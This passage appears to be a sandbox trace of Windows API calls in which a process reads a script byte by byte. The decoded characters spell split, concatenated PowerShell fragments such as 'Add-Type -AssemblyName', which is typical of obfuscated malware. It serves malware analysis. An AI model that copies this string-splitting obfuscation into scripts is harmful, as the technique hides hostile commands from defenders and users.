dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3c4, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.854] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.854] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.854] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3c6, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.854] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.854] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.854] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3c8, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.854] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.854] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.854] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3ca, cchWideChar=1 | out: lpWideCharStr=";") returned 1 [0103.854] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.854] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.854] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.854] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3cc, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.854] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.855] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.855] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3ce, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.855] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.855] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.855] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3d0, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.855] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.855] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.855] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3d2, cchWideChar=1 | out: lpWideCharStr="A") returned 1 [0103.855] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.855] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.855] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3d4, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.855] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.855] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.855] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.855] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3d6, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.855] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.855] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.855] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.856] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3d8, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.856] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.856] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.856] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.856] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3da, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0103.856] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.856] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.856] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.856] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3dc, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0103.856] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.856] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.856] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.856] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3de, cchWideChar=1 | out: lpWideCharStr="-") returned 1 [0103.856] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.856] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.856] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.856] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3e0, cchWideChar=1 | out: lpWideCharStr="T") returned 1 [0103.856] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.856] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.856] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.856] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3e2, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.856] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.856] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.856] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3e4, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.857] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.857] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.857] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3e6, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.857] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.857] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.857] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3e8, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0103.857] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.857] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.857] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3ea, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0103.857] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.857] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.857] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3ec, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.857] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.857] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.857] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3ee, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0103.857] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.857] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.857] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.857] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3f0, cchWideChar=1 | out: lpWideCharStr="-") returned 1 [0103.857] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.857] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.857] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.858] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3f2, cchWideChar=1 | out: lpWideCharStr="A") returned 1 [0103.858] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.858] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.858] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.858] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3f4, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0103.858] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.858] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.858] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.858] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3f6, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.858] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.858] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.858] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.858] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3f8, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.858] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.858] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.858] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.858] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3fa, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.858] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.858] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.858] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.858] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3fc, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0103.858] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.858] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.858] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.858] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee3fe, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0103.858] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.858] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.858] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.859] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee400, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0103.859] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.859] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.859] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.859] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee402, cchWideChar=1 | out: lpWideCharStr="b") returned 1 [0103.859] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.859] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.859] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.859] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee404, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0103.859] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.859] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.859] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.859] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee406, cchWideChar=1 | out: lpWideCharStr="y") returned 1 [0103.859] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.859] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.859] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.859] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee408, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.859] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.859] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.859] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.859] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee40a, cchWideChar=1 | out: lpWideCharStr="+") returned 1 [0103.859] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.859] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.860] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.860] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee40c, cchWideChar=1 | out: lpWideCharStr="'") returned 1 [0103.860] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.860] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.860] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.860] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee40e, cchWideChar=1 | out: lpWideCharStr="N") returned 1 [0103.860] _get_osfhandle (_FileHandle=0) returned 0x58 [0103.860] SetFilePointer (in: hFile=0x58, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0103.860] ReadFile (in: hFile=0x58, lpBuffer=0x4a0ec320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x32f8b8, lpOverlapped=0x0 | out: lpBuffer=0x4a0ec320*, lpNumberOfBytesRead=0x32f8b8*=0x1, lpOverlapped=0x0) returned 1 [0103.860] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a0ec320, cbMultiByte=1, lpWideCharStr=0x4a0ee410, cchWideChar=1 | out: 